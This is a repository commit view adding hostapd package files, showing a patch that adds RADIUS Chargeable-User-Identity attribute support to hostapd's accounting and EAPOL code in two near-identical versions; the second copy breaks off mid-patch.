summaryrefslogtreecommitdiff
path: root/net-wireless/hostapd/files
diff options
context:
space:
mode:
Diffstat (limited to 'net-wireless/hostapd/files')
-rw-r--r--net-wireless/hostapd/files/cui-20120417.patch451
-rw-r--r--net-wireless/hostapd/files/cui-20120717.patch451
-rw-r--r--net-wireless/hostapd/files/hostapd-0.7.3-karma.patch481
-rw-r--r--net-wireless/hostapd/files/hostapd-1.0-karma-0.2.patch1199
-rw-r--r--net-wireless/hostapd/files/hostapd-1.0-karma.patch465
-rw-r--r--net-wireless/hostapd/files/hostapd-1.0-libnl_path_fix.patch24
-rw-r--r--net-wireless/hostapd/files/hostapd-1.0-tls_length_fix.patch48
-rw-r--r--net-wireless/hostapd/files/hostapd-conf.d9
-rw-r--r--net-wireless/hostapd/files/hostapd-init.d50
9 files changed, 3178 insertions, 0 deletions
diff --git a/net-wireless/hostapd/files/cui-20120417.patch b/net-wireless/hostapd/files/cui-20120417.patch
new file mode 100644
index 00000000..702f55c4
--- /dev/null
+++ b/net-wireless/hostapd/files/cui-20120417.patch
@@ -0,0 +1,451 @@
+diff -rupN hostapd-0.7.3/src/ap/accounting.c src/ap/accounting.c
+--- hostapd-0.7.3/src/ap/accounting.c 2010-09-07 08:43:39.000000000 -0700
++++ src/ap/accounting.c 2011-09-06 21:01:36.000000000 -0700
+@@ -24,6 +24,7 @@
+ #include "ap_config.h"
+ #include "sta_info.h"
+ #include "accounting.h"
++/*#include "eapol_auth/eapol_auth_sm_i.h"*/
+
+
+ /* Default interval in seconds for polling TX/RX octets from the driver if
+@@ -43,7 +44,10 @@ static struct radius_msg * accounting_ms
+ char buf[128];
+ u8 *val;
+ size_t len;
++ u8 *cui; /*Define CUI Attribute*/
++ size_t cui_len; /*Define CUI Attribute length*/
+ int i;
++ struct eapol_state_machine *sm = sta->eapol_sm;
+
+ msg = radius_msg_new(RADIUS_CODE_ACCOUNTING_REQUEST,
+ radius_client_get_id(hapd->radius));
+@@ -82,7 +86,9 @@ static struct radius_msg * accounting_ms
+
+ if (sta) {
+ val = ieee802_1x_get_identity(sta->eapol_sm, &len);
++ printf("GOT ID\n");
+ if (!val) {
++
+ os_snprintf(buf, sizeof(buf), RADIUS_ADDR_FORMAT,
+ MAC2STR(sta->addr));
+ val = (u8 *) buf;
+@@ -94,6 +100,30 @@ static struct radius_msg * accounting_ms
+ printf("Could not add User-Name\n");
+ goto fail;
+ }
++
++
++ /*Check if the CUI attribute is set, if so returns the TRUE or FALSE accordingly**************/
++ if (getSetCui(sta->eapol_sm)){
++ cui=get_CUI (sta->eapol_sm, &cui_len);
++ printf("GOT CUI\n");
++
++ if (!cui) {
++
++ os_snprintf(buf, sizeof(buf), RADIUS_ADDR_FORMAT,
++ MAC2STR(sta->addr));
++ cui = (u8 *) buf;
++ cui_len = os_strlen(buf);
++ }
++ if (!radius_msg_add_attr(msg, RADIUS_ATTR_CHARGEABLE_USER_IDENTITY, cui,
++ cui_len)) { /*Add CUI attribute to the Accounting Request Message*/
++ printf("Could not add CUI\n");
++ goto fail;
++ }
++ /********************/
++ }
++ /*else { */
++ /* printf ("PROBLEM IN IF\n");*/
++ /*}*/
+ }
+
+ if (hapd->conf->own_ip_addr.af == AF_INET &&
+diff -rupN hostapd-0.7.3/src/ap/accounting.h src/ap/accounting.h
+--- hostapd-0.7.3/src/ap/accounting.h 2010-09-07 08:43:39.000000000 -0700
++++ src/ap/accounting.h 2011-07-25 19:26:06.000000000 -0700
+@@ -22,6 +22,7 @@ static inline void accounting_sta_start(
+ {
+ }
+
++
+ static inline void accounting_sta_stop(struct hostapd_data *hapd,
+ struct sta_info *sta)
+ {
+diff -rupN hostapd-0.7.3/src/ap/ieee802_1x.c src/ap/ieee802_1x.c
+--- hostapd-0.7.3/src/ap/ieee802_1x.c 2010-09-07 08:43:39.000000000 -0700
++++ src/ap/ieee802_1x.c 2011-09-06 20:59:54.000000000 -0700
+@@ -899,6 +899,7 @@ void ieee802_1x_new_station(struct hosta
+ * re-authentication without having to wait for the
+ * Supplicant to send EAPOL-Start.
+ */
++ printf("REAUTHENTICATION-EAPOL");
+ sta->eapol_sm->reAuthenticate = TRUE;
+ }
+ eapol_auth_step(sta->eapol_sm);
+@@ -1138,6 +1139,68 @@ static void ieee802_1x_update_sta_identi
+ sm->identity_len = len;
+ }
+
++/* This method is used to Set the CUI attribute Value**************************************/
++static void set_cui(struct hostapd_data *hapd,
++ struct sta_info *sta,
++ struct radius_msg *msg)
++
++{
++ u8 *buf,*cui_identity;
++ size_t len;
++ struct eapol_state_machine *sm = sta->eapol_sm;
++
++ if (sm == NULL)
++ return;
++
++ if (radius_msg_get_attr_ptr(msg, RADIUS_ATTR_CHARGEABLE_USER_IDENTITY, &buf, &len,
++ NULL) < 0)
++ return;
++ cui_identity = os_malloc(len + 1);
++ if (cui_identity == NULL)
++ return;
++ os_memcpy(cui_identity, buf, len);
++ cui_identity[len] = '\0';
++
++ sm->cui = cui_identity;
++ sm->cui_len = len;
++ printf(" SET CUI %s",(char *) cui_identity);
++
++
++}
++
++
++/* **************************************/
++
++/*check CUI attribute is available in Access Accept */
++static void check_cuiAttr (struct radius_msg *msg,struct sta_info *sta, struct hostapd_data *hapd)
++{
++
++ struct eapol_state_machine *sm = sta->eapol_sm; /*Define a pointer to eapol_state_machine*/
++
++
++ size_t i;
++
++ for (i = 0;i<msg->attr_used;i++)
++ { struct radius_attr_hdr *attr = radius_get_attr_hdr(msg, i);
++ if (attr->type == RADIUS_ATTR_CHARGEABLE_USER_IDENTITY) /*check CUI attribute is availabe in Access-Accept packet*/
++ {
++ printf("CUI Attribute is Available");
++ sm->cuiAvailable = TRUE;
++ set_cui(hapd, sta, msg);
++ break;
++
++ }
++ else {
++ sm->cuiAvailable = FALSE;
++ printf ("CUI is not available in this packet");
++
++ }
++
++
++ }
++
++}
++
+
+ struct sta_id_search {
+ u8 identifier;
+@@ -1298,6 +1361,8 @@ ieee802_1x_receive_auth(struct radius_ms
+ shared_secret_len);
+ ieee802_1x_store_radius_class(hapd, sta, msg);
+ ieee802_1x_update_sta_identity(hapd, sta, msg);
++ /*set_cui(hapd, sta, msg);*/
++ check_cuiAttr (msg,sta,hapd);
+ if (sm->eap_if->eapKeyAvailable &&
+ wpa_auth_pmksa_add(sta->wpa_sm, sm->eapol_key_crypt,
+ session_timeout_set ?
+@@ -1777,6 +1842,27 @@ u8 * ieee802_1x_get_identity(struct eapo
+ }
+
+
++
++u8 * get_CUI(struct eapol_state_machine *sm, size_t *len) /* return CUI Attribute Value ******************************/
++{
++ if (sm == NULL || sm->identity == NULL)
++ return NULL;
++
++ *len = sm->cui_len;
++ return sm->cui;
++}
++
++Boolean getSetCui (struct eapol_state_machine *sm) /*Check if the CUI value is set or not, and returns TRUE or FALSE accordingly*/
++
++{ if (sm->cuiAvailable)
++ return TRUE;
++else
++ return FALSE;
++ }
++
++/*****************************/
++
++
+ u8 * ieee802_1x_get_radius_class(struct eapol_state_machine *sm, size_t *len,
+ int idx)
+ {
+diff -rupN hostapd-0.7.3/src/ap/ieee802_1x.h src/ap/ieee802_1x.h
+--- hostapd-0.7.3/src/ap/ieee802_1x.h 2010-09-07 08:43:39.000000000 -0700
++++ src/ap/ieee802_1x.h 2011-07-25 19:43:10.000000000 -0700
+@@ -69,6 +69,13 @@ void ieee802_1x_deinit(struct hostapd_da
+ int ieee802_1x_tx_status(struct hostapd_data *hapd, struct sta_info *sta,
+ const u8 *buf, size_t len, int ack);
+ u8 * ieee802_1x_get_identity(struct eapol_state_machine *sm, size_t *len);
++
++/** definig CUI get function */
++u8 * get_CUI(struct eapol_state_machine *sm, size_t *len);
++Boolean getSetCui (struct eapol_state_machine *sm);
++
++/*********************/
++
+ u8 * ieee802_1x_get_radius_class(struct eapol_state_machine *sm, size_t *len,
+ int idx);
+ const u8 * ieee802_1x_get_key(struct eapol_state_machine *sm, size_t *len);
+diff -rupN hostapd-0.7.3/src/ap/pmksa_cache_auth.c src/ap/pmksa_cache_auth.c
+--- hostapd-0.7.3/src/ap/pmksa_cache_auth.c 2010-09-07 08:43:39.000000000 -0700
++++ src/ap/pmksa_cache_auth.c 2011-09-06 22:42:00.000000000 -0700
+@@ -142,6 +142,20 @@ static void pmksa_cache_from_eapol_data(
+ }
+ }
+
++/*set to cui in to cache*/
++
++ if (eapol ->cui) {
++
++ entry ->cui = os_malloc(eapol->cui_len); /*Allocate memory for CUI attribute*/
++ if (entry->cui) {
++ entry->cui_len = eapol->cui_len;
++ os_memcpy(entry->cui, eapol->cui,
++ eapol->cui_len);
++ }
++ }
++
++/*set to cui in to cache*/
++
+ #ifndef CONFIG_NO_RADIUS
+ radius_copy_class(&entry->radius_class, &eapol->radius_class);
+ #endif /* CONFIG_NO_RADIUS */
+@@ -169,6 +183,25 @@ void pmksa_cache_to_eapol_data(struct rs
+ eapol->identity, eapol->identity_len);
+ }
+
++/*Added to get CUI from the cache*/
++
++
++ if (entry->cui) {
++ os_free(eapol->cui);
++
++ eapol->cui = os_malloc(entry->cui_len);
++ eapol->cuiAvailable=TRUE;
++ if (eapol->cui) {
++ eapol->cui_len = entry->cui_len;
++ os_memcpy(eapol->cui, entry->cui,
++ entry->cui_len); /*copy the CUI attribute value to EAPOL data structure*/
++ }
++ wpa_hexdump_ascii(MSG_DEBUG, "CUIfrom PMKSA",
++ eapol->cui, eapol->cui_len);
++ }
++
++ /*Added to get CUI from the cache*/
++
+ #ifndef CONFIG_NO_RADIUS
+ radius_free_class(&eapol->radius_class);
+ radius_copy_class(&eapol->radius_class, &entry->radius_class);
+@@ -180,6 +213,7 @@ void pmksa_cache_to_eapol_data(struct rs
+
+ eapol->eap_type_authsrv = entry->eap_type_authsrv;
+ ((struct sta_info *) eapol->sta)->vlan_id = entry->vlan_id;
++ printf ("GETTING CACHE ENTRY\n");
+ }
+
+
+diff -rupN hostapd-0.7.3/src/ap/pmksa_cache_auth.h src/ap/pmksa_cache_auth.h
+--- hostapd-0.7.3/src/ap/pmksa_cache_auth.h 2010-09-07 08:43:39.000000000 -0700
++++ src/ap/pmksa_cache_auth.h 2011-08-07 19:19:44.000000000 -0700
+@@ -31,6 +31,8 @@ struct rsn_pmksa_cache_entry {
+
+ u8 *identity;
+ size_t identity_len;
++ u8 *cui; /* cui by me*/
++ size_t cui_len; /*Size of the cached cui by me*/
+ struct radius_class_data radius_class;
+ u8 eap_type_authsrv;
+ int vlan_id;
+diff -rupN hostapd-0.7.3/src/common/ieee802_11_common.c src/common/ieee802_11_common.c
+--- hostapd-0.7.3/src/common/ieee802_11_common.c 2010-09-07 08:43:39.000000000 -0700
++++ src/common/ieee802_11_common.c 2011-07-25 17:56:38.000000000 -0700
+@@ -31,8 +31,8 @@ static int ieee802_11_parse_vendor_speci
+ if (elen < 4) {
+ if (show_errors) {
+ wpa_printf(MSG_MSGDUMP, "short vendor specific "
+- "information element ignored (len=%lu)",
+- (unsigned long) elen);
++ "information element ignored (len=%lu)",
++ (unsigned long) elen);
+ }
+ return -1;
+ }
+diff -rupN hostapd-0.7.3/src/eapol_auth/eapol_auth_sm_i.h src/eapol_auth/eapol_auth_sm_i.h
+--- hostapd-0.7.3/src/eapol_auth/eapol_auth_sm_i.h 2010-09-07 08:43:39.000000000 -0700
++++ src/eapol_auth/eapol_auth_sm_i.h 2011-09-06 20:43:46.000000000 -0700
+@@ -75,6 +75,7 @@ struct eapol_state_machine {
+ /* variables */
+ Boolean eapolLogoff;
+ Boolean eapolStart;
++ Boolean cuiAvailable; /*to check CUI is available in AcessAccept*/
+ PortTypes portMode;
+ unsigned int reAuthCount;
+ /* constants */
+@@ -159,6 +160,8 @@ struct eapol_state_machine {
+ u8 last_eap_id; /* last used EAP Identifier */
+ u8 *identity;
+ size_t identity_len;
++ u8 *cui; /*Define CUI Attribute*/
++ size_t cui_len; /*Define CUI attribute length*/
+ u8 eap_type_authsrv; /* EAP type of the last EAP packet from
+ * Authentication server */
+ u8 eap_type_supp; /* EAP type of the last EAP packet from Supplicant */
+diff -rupN hostapd-0.7.3/src/radius/radius.c src/radius/radius.c
+--- hostapd-0.7.3/src/radius/radius.c 2010-09-07 08:43:39.000000000 -0700
++++ src/radius/radius.c 2011-07-25 18:41:30.000000000 -0700
+@@ -24,16 +24,16 @@
+ /**
+ * struct radius_msg - RADIUS message structure for new and parsed messages
+ */
+-struct radius_msg {
++//struct radius_msg {
+ /**
+ * buf - Allocated buffer for RADIUS message
+ */
+- struct wpabuf *buf;
++ //struct wpabuf *buf;
+
+ /**
+ * hdr - Pointer to the RADIUS header in buf
+ */
+- struct radius_hdr *hdr;
++ //struct radius_hdr *hdr;
+
+ /**
+ * attr_pos - Array of indexes to attributes
+@@ -41,18 +41,18 @@ struct radius_msg {
+ * The values are number of bytes from buf to the beginning of
+ * struct radius_attr_hdr.
+ */
+- size_t *attr_pos;
++ //size_t *attr_pos;
+
+ /**
+ * attr_size - Total size of the attribute pointer array
+ */
+- size_t attr_size;
++ //size_t attr_size;
+
+ /**
+ * attr_used - Total number of attributes in the array
+ */
+- size_t attr_used;
+-};
++ //size_t attr_used;
++//};
+
+
+ struct radius_hdr * radius_msg_get_hdr(struct radius_msg *msg)
+@@ -66,7 +66,7 @@ struct wpabuf * radius_msg_get_buf(struc
+ return msg->buf;
+ }
+
+-
++/*
+ static struct radius_attr_hdr *
+ radius_get_attr_hdr(struct radius_msg *msg, int idx)
+ {
+@@ -74,7 +74,7 @@ radius_get_attr_hdr(struct radius_msg *m
+ (wpabuf_mhead_u8(msg->buf) + msg->attr_pos[idx]);
+ }
+
+-
++*/
+ static void radius_msg_set_hdr(struct radius_msg *msg, u8 code, u8 identifier)
+ {
+ msg->hdr->code = code;
+diff -rupN hostapd-0.7.3/src/radius/radius.h src/radius/radius.h
+--- hostapd-0.7.3/src/radius/radius.h 2010-09-07 08:43:39.000000000 -0700
++++ src/radius/radius.h 2011-07-25 18:44:42.000000000 -0700
+@@ -21,6 +21,45 @@
+ #pragma pack(push, 1)
+ #endif /* _MSC_VER */
+
++/************************/
++struct radius_msg {
++ /**
++ * buf - Allocated buffer for RADIUS message
++ */
++ struct wpabuf *buf;
++
++ /**
++ * hdr - Pointer to the RADIUS header in buf
++ */
++ struct radius_hdr *hdr;
++
++ /**
++ * attr_pos - Array of indexes to attributes
++ *
++ * The values are number of bytes from buf to the beginning of
++ * struct radius_attr_hdr.
++ */
++ size_t *attr_pos;
++
++ /**
++ * attr_size - Total size of the attribute pointer array
++ */
++ size_t attr_size;
++
++ /**
++ * attr_used - Total number of attributes in the array
++ */
++ size_t attr_used;
++};
++
++
++
++
++/***********************/
++
++
++
++
+ struct radius_hdr {
+ u8 code;
+ u8 identifier;
+@@ -201,6 +240,10 @@ void radius_msg_finish_acct(struct radiu
+ size_t secret_len);
+ struct radius_attr_hdr * radius_msg_add_attr(struct radius_msg *msg, u8 type,
+ const u8 *data, size_t data_len);
++
++/****************************/
++
++/*****************************/
+ struct radius_msg * radius_msg_parse(const u8 *data, size_t len);
+ int radius_msg_add_eap(struct radius_msg *msg, const u8 *data,
+ size_t data_len);
+@@ -238,7 +281,13 @@ static inline int radius_msg_add_attr_in
+ u32 val = htonl(value);
+ return radius_msg_add_attr(msg, type, (u8 *) &val, 4) != NULL;
+ }
+-
++/**********************/
++static struct radius_attr_hdr * radius_get_attr_hdr(struct radius_msg *msg, int idx)
++{
++ return (struct radius_attr_hdr *)
++ (wpabuf_mhead_u8(msg->buf) + msg->attr_pos[idx]);
++}
++/**************************/
+ static inline int radius_msg_get_attr_int32(struct radius_msg *msg, u8 type,
+ u32 *value)
+ {
diff --git a/net-wireless/hostapd/files/cui-20120717.patch b/net-wireless/hostapd/files/cui-20120717.patch
new file mode 100644
index 00000000..e6e5e8dc
--- /dev/null
+++ b/net-wireless/hostapd/files/cui-20120717.patch
@@ -0,0 +1,451 @@
+diff -urN hostapd-1.0.orig//src/ap/accounting.c hostapd-1.0/src/ap/accounting.c
+--- hostapd-1.0.orig//src/ap/accounting.c 2012-05-10 05:56:09.000000000 +0800
++++ hostapd-1.0/src/ap/accounting.c 2012-07-17 18:40:21.000000000 +0800
+@@ -25,6 +25,7 @@
+ #include "sta_info.h"
+ #include "ap_drv_ops.h"
+ #include "accounting.h"
++/*#include "eapol_auth/eapol_auth_sm_i.h"*/
+
+
+ /* Default interval in seconds for polling TX/RX octets from the driver if
+@@ -44,7 +45,10 @@
+ char buf[128];
+ u8 *val;
+ size_t len;
++ u8 *cui; /*Define CUI Attribute*/
++ size_t cui_len; /*Define CUI Attribute length*/
+ int i;
++ struct eapol_state_machine *sm = sta->eapol_sm;
+
+ msg = radius_msg_new(RADIUS_CODE_ACCOUNTING_REQUEST,
+ radius_client_get_id(hapd->radius));
+@@ -83,7 +87,9 @@
+
+ if (sta) {
+ val = ieee802_1x_get_identity(sta->eapol_sm, &len);
++ printf("GOT ID\n");
+ if (!val) {
++
+ os_snprintf(buf, sizeof(buf), RADIUS_ADDR_FORMAT,
+ MAC2STR(sta->addr));
+ val = (u8 *) buf;
+@@ -95,6 +101,30 @@
+ printf("Could not add User-Name\n");
+ goto fail;
+ }
++
++
++ /*Check if the CUI attribute is set, if so returns the TRUE or FALSE accordingly**************/
++ if (getSetCui(sta->eapol_sm)){
++ cui=get_CUI (sta->eapol_sm, &cui_len);
++ printf("GOT CUI\n");
++
++ if (!cui) {
++
++ os_snprintf(buf, sizeof(buf), RADIUS_ADDR_FORMAT,
++ MAC2STR(sta->addr));
++ cui = (u8 *) buf;
++ cui_len = os_strlen(buf);
++ }
++ if (!radius_msg_add_attr(msg, RADIUS_ATTR_CHARGEABLE_USER_IDENTITY, cui,
++ cui_len)) { /*Add CUI attribute to the Accounting Request Message*/
++ printf("Could not add CUI\n");
++ goto fail;
++ }
++ /********************/
++ }
++ /*else { */
++ /* printf ("PROBLEM IN IF\n");*/
++ /*}*/
+ }
+
+ if (hapd->conf->own_ip_addr.af == AF_INET &&
+diff -urN hostapd-1.0.orig//src/ap/accounting.h hostapd-1.0/src/ap/accounting.h
+--- hostapd-1.0.orig//src/ap/accounting.h 2012-05-10 05:56:09.000000000 +0800
++++ hostapd-1.0/src/ap/accounting.h 2012-07-17 18:40:21.000000000 +0800
+@@ -22,6 +22,7 @@
+ {
+ }
+
++
+ static inline void accounting_sta_stop(struct hostapd_data *hapd,
+ struct sta_info *sta)
+ {
+diff -urN hostapd-1.0.orig//src/ap/ieee802_1x.c hostapd-1.0/src/ap/ieee802_1x.c
+--- hostapd-1.0.orig//src/ap/ieee802_1x.c 2012-05-10 05:56:09.000000000 +0800
++++ hostapd-1.0/src/ap/ieee802_1x.c 2012-07-17 18:40:21.000000000 +0800
+@@ -966,6 +966,7 @@
+ * re-authentication without having to wait for the
+ * Supplicant to send EAPOL-Start.
+ */
++ printf("REAUTHENTICATION-EAPOL");
+ sta->eapol_sm->reAuthenticate = TRUE;
+ }
+ eapol_auth_step(sta->eapol_sm);
+@@ -1205,6 +1206,68 @@
+ sm->identity_len = len;
+ }
+
++/* This method is used to Set the CUI attribute Value**************************************/
++static void set_cui(struct hostapd_data *hapd,
++ struct sta_info *sta,
++ struct radius_msg *msg)
++
++{
++ u8 *buf,*cui_identity;
++ size_t len;
++ struct eapol_state_machine *sm = sta->eapol_sm;
++
++ if (sm == NULL)
++ return;
++
++ if (radius_msg_get_attr_ptr(msg, RADIUS_ATTR_CHARGEABLE_USER_IDENTITY, &buf, &len,
++ NULL) < 0)
++ return;
++ cui_identity = os_malloc(len + 1);
++ if (cui_identity == NULL)
++ return;
++ os_memcpy(cui_identity, buf, len);
++ cui_identity[len] = '\0';
++
++ sm->cui = cui_identity;
++ sm->cui_len = len;
++ printf(" SET CUI %s",(char *) cui_identity);
++
++
++}
++
++
++/* **************************************/
++
++/*check CUI attribute is available in Access Accept */
++static void check_cuiAttr (struct radius_msg *msg,struct sta_info *sta, struct hostapd_data *hapd)
++{
++
++ struct eapol_state_machine *sm = sta->eapol_sm; /*Define a pointer to eapol_state_machine*/
++
++
++ size_t i;
++
++ for (i = 0;i<msg->attr_used;i++)
++ { struct radius_attr_hdr *attr = radius_get_attr_hdr(msg, i);
++ if (attr->type == RADIUS_ATTR_CHARGEABLE_USER_IDENTITY) /*check CUI attribute is availabe in Access-Accept packet*/
++ {
++ printf("CUI Attribute is Available");
++ sm->cuiAvailable = TRUE;
++ set_cui(hapd, sta, msg);
++ break;
++
++ }
++ else {
++ sm->cuiAvailable = FALSE;
++ printf ("CUI is not available in this packet");
++
++ }
++
++
++ }
++
++}
++
+
+ struct sta_id_search {
+ u8 identifier;
+@@ -1365,6 +1428,8 @@
+ shared_secret_len);
+ ieee802_1x_store_radius_class(hapd, sta, msg);
+ ieee802_1x_update_sta_identity(hapd, sta, msg);
++ /*set_cui(hapd, sta, msg);*/
++ check_cuiAttr (msg,sta,hapd);
+ if (sm->eap_if->eapKeyAvailable &&
+ wpa_auth_pmksa_add(sta->wpa_sm, sm->eapol_key_crypt,
+ session_timeout_set ?
+@@ -1859,6 +1924,27 @@
+ }
+
+
++
++u8 * get_CUI(struct eapol_state_machine *sm, size_t *len) /* return CUI Attribute Value ******************************/
++{
++ if (sm == NULL || sm->identity == NULL)
++ return NULL;
++
++ *len = sm->cui_len;
++ return sm->cui;
++}
++
++Boolean getSetCui (struct eapol_state_machine *sm) /*Check if the CUI value is set or not, and returns TRUE or FALSE accordingly*/
++
++{ if (sm->cuiAvailable)
++ return TRUE;
++else
++ return FALSE;
++ }
++
++/*****************************/
++
++
+ u8 * ieee802_1x_get_radius_class(struct eapol_state_machine *sm, size_t *len,
+ int idx)
+ {
+diff -urN hostapd-1.0.orig//src/ap/ieee802_1x.h hostapd-1.0/src/ap/ieee802_1x.h
+--- hostapd-1.0.orig//src/ap/ieee802_1x.h 2012-05-10 05:56:09.000000000 +0800
++++ hostapd-1.0/src/ap/ieee802_1x.h 2012-07-17 18:40:21.000000000 +0800
+@@ -69,6 +69,13 @@
+ int ieee802_1x_tx_status(struct hostapd_data *hapd, struct sta_info *sta,
+ const u8 *buf, size_t len, int ack);
+ u8 * ieee802_1x_get_identity(struct eapol_state_machine *sm, size_t *len);
++
++/** definig CUI get function */
++u8 * get_CUI(struct eapol_state_machine *sm, size_t *len);
++Boolean getSetCui (struct eapol_state_machine *sm);
++
++/*********************/
++
+ u8 * ieee802_1x_get_radius_class(struct eapol_state_machine *sm, size_t *len,
+ int idx);
+ const u8 * ieee802_1x_get_key(struct eapol_state_machine *sm, size_t *len);
+diff -urN hostapd-1.0.orig//src/ap/pmksa_cache_auth.c hostapd-1.0/src/ap/pmksa_cache_auth.c
+--- hostapd-1.0.orig//src/ap/pmksa_cache_auth.c 2012-05-10 05:56:09.000000000 +0800
++++ hostapd-1.0/src/ap/pmksa_cache_auth.c 2012-07-17 18:40:21.000000000 +0800
+@@ -142,6 +142,20 @@
+ }
+ }
+
++/*set to cui in to cache*/
++
++ if (eapol ->cui) {
++
++ entry ->cui = os_malloc(eapol->cui_len); /*Allocate memory for CUI attribute*/
++ if (entry->cui) {
++ entry->cui_len = eapol->cui_len;
++ os_memcpy(entry->cui, eapol->cui,
++ eapol->cui_len);
++ }
++ }
++
++/*set to cui in to cache*/
++
+ #ifndef CONFIG_NO_RADIUS
+ radius_copy_class(&entry->radius_class, &eapol->radius_class);
+ #endif /* CONFIG_NO_RADIUS */
+@@ -169,6 +183,25 @@
+ eapol->identity, eapol->identity_len);
+ }
+
++/*Added to get CUI from the cache*/
++
++
++ if (entry->cui) {
++ os_free(eapol->cui);
++
++ eapol->cui = os_malloc(entry->cui_len);
++ eapol->cuiAvailable=TRUE;
++ if (eapol->cui) {
++ eapol->cui_len = entry->cui_len;
++ os_memcpy(eapol->cui, entry->cui,
++ entry->cui_len); /*copy the CUI attribute value to EAPOL data structure*/
++ }
++ wpa_hexdump_ascii(MSG_DEBUG, "CUIfrom PMKSA",
++ eapol->cui, eapol->cui_len);
++ }
++
++ /*Added to get CUI from the cache*/
++
+ #ifndef CONFIG_NO_RADIUS
+ radius_free_class(&eapol->radius_class);
+ radius_copy_class(&eapol->radius_class, &entry->radius_class);
+@@ -180,6 +213,7 @@
+
+ eapol->eap_type_authsrv = entry->eap_type_authsrv;
+ ((struct sta_info *) eapol->sta)->vlan_id = entry->vlan_id;
++ printf ("GETTING CACHE ENTRY\n");
+ }
+
+
+diff -urN hostapd-1.0.orig//src/ap/pmksa_cache_auth.h hostapd-1.0/src/ap/pmksa_cache_auth.h
+--- hostapd-1.0.orig//src/ap/pmksa_cache_auth.h 2012-05-10 05:56:09.000000000 +0800
++++ hostapd-1.0/src/ap/pmksa_cache_auth.h 2012-07-17 18:40:21.000000000 +0800
+@@ -31,6 +31,8 @@
+
+ u8 *identity;
+ size_t identity_len;
++ u8 *cui; /* cui by me*/
++ size_t cui_len; /*Size of the cached cui by me*/
+ struct radius_class_data radius_class;
+ u8 eap_type_authsrv;
+ int vlan_id;
+diff -urN hostapd-1.0.orig//src/common/ieee802_11_common.c hostapd-1.0/src/common/ieee802_11_common.c
+--- hostapd-1.0.orig//src/common/ieee802_11_common.c 2012-05-10 05:56:09.000000000 +0800
++++ hostapd-1.0/src/common/ieee802_11_common.c 2012-07-17 18:40:21.000000000 +0800
+@@ -31,8 +31,8 @@
+ if (elen < 4) {
+ if (show_errors) {
+ wpa_printf(MSG_MSGDUMP, "short vendor specific "
+- "information element ignored (len=%lu)",
+- (unsigned long) elen);
++ "information element ignored (len=%lu)",
++ (unsigned long) elen);
+ }
+ return -1;
+ }
+diff -urN hostapd-1.0.orig//src/eapol_auth/eapol_auth_sm_i.h hostapd-1.0/src/eapol_auth/eapol_auth_sm_i.h
+--- hostapd-1.0.orig//src/eapol_auth/eapol_auth_sm_i.h 2012-05-10 05:56:09.000000000 +0800
++++ hostapd-1.0/src/eapol_auth/eapol_auth_sm_i.h 2012-07-17 18:40:21.000000000 +0800
+@@ -75,6 +75,7 @@
+ /* variables */
+ Boolean eapolLogoff;
+ Boolean eapolStart;
++ Boolean cuiAvailable; /*to check CUI is available in AcessAccept*/
+ PortTypes portMode;
+ unsigned int reAuthCount;
+ /* constants */
+@@ -159,6 +160,8 @@
+ u8 last_eap_id; /* last used EAP Identifier */
+ u8 *identity;
+ size_t identity_len;
++ u8 *cui; /*Define CUI Attribute*/
++ size_t cui_len; /*Define CUI attribute length*/
+ u8 eap_type_authsrv; /* EAP type of the last EAP packet from
+ * Authentication server */
+ u8 eap_type_supp; /* EAP type of the last EAP packet from Supplicant */
+diff -urN hostapd-1.0.orig//src/radius/radius.c hostapd-1.0/src/radius/radius.c
+--- hostapd-1.0.orig//src/radius/radius.c 2012-05-10 05:56:09.000000000 +0800
++++ hostapd-1.0/src/radius/radius.c 2012-07-17 18:40:21.000000000 +0800
+@@ -24,16 +24,16 @@
+ /**
+ * struct radius_msg - RADIUS message structure for new and parsed messages
+ */
+-struct radius_msg {
++//struct radius_msg {
+ /**
+ * buf - Allocated buffer for RADIUS message
+ */
+- struct wpabuf *buf;
++ //struct wpabuf *buf;
+
+ /**
+ * hdr - Pointer to the RADIUS header in buf
+ */
+- struct radius_hdr *hdr;
++ //struct radius_hdr *hdr;
+
+ /**
+ * attr_pos - Array of indexes to attributes
+@@ -41,18 +41,18 @@
+ * The values are number of bytes from buf to the beginning of
+ * struct radius_attr_hdr.
+ */
+- size_t *attr_pos;
++ //size_t *attr_pos;
+
+ /**
+ * attr_size - Total size of the attribute pointer array
+ */
+- size_t attr_size;
++ //size_t attr_size;
+
+ /**
+ * attr_used - Total number of attributes in the array
+ */
+- size_t attr_used;
+-};
++ //size_t attr_used;
++//};
+
+
+ struct radius_hdr * radius_msg_get_hdr(struct radius_msg *msg)
+@@ -66,7 +66,7 @@
+ return msg->buf;
+ }
+
+-
++/*
+ static struct radius_attr_hdr *
+ radius_get_attr_hdr(struct radius_msg *msg, int idx)
+ {
+@@ -74,7 +74,7 @@
+ (wpabuf_mhead_u8(msg->buf) + msg->attr_pos[idx]);
+ }
+
+-
++*/
+ static void radius_msg_set_hdr(struct radius_msg *msg, u8 code, u8 identifier)
+ {
+ msg->hdr->code = code;
+diff -urN hostapd-1.0.orig//src/radius/radius.h hostapd-1.0/src/radius/radius.h
+--- hostapd-1.0.orig//src/radius/radius.h 2012-05-10 05:56:09.000000000 +0800
++++ hostapd-1.0/src/radius/radius.h 2012-07-17 18:40:21.000000000 +0800
+@@ -21,6 +21,45 @@
+ #pragma pack(push, 1)
+ #endif /* _MSC_VER */
+
++/************************/
++struct radius_msg {
++ /**
++ * buf - Allocated buffer for RADIUS message
++ */
++ struct wpabuf *buf;
++
++ /**
++ * hdr - Pointer to the RADIUS header in buf
++ */
++ struct radius_hdr *hdr;
++
++ /**
++ * attr_pos - Array of indexes to attributes
++ *
++ * The values are number of bytes from buf to the beginning of
++ * struct radius_attr_hdr.
++ */
++ size_t *attr_pos;
++
++ /**
++ * attr_size - Total size of the attribute pointer array
++ */
++ size_t attr_size;
++
++ /**
++ * attr_used - Total number of attributes in the array
++ */
++ size_t attr_used;
++};
++
++
++
++
++/***********************/
++
++
++
++
+ struct radius_hdr {
+ u8 code;
+ u8 identifier;
+@@ -201,6 +240,10 @@
+ size_t secret_len);
+ struct radius_attr_hdr * radius_msg_add_attr(struct radius_msg *msg, u8 type,
+ const u8 *data, size_t data_len);
++
++/****************************/
++
++/*****************************/
+ struct radius_msg * radius_msg_parse(const u8 *data, size_t len);
+ int radius_msg_add_eap(struct radius_msg *msg, const u8 *data,
+ size_t data_len);
+@@ -238,7 +281,13 @@
+ u32 val = htonl(value);
+ return radius_msg_add_attr(msg, type, (u8 *) &val, 4) != NULL;
+ }
+-
++/**********************/
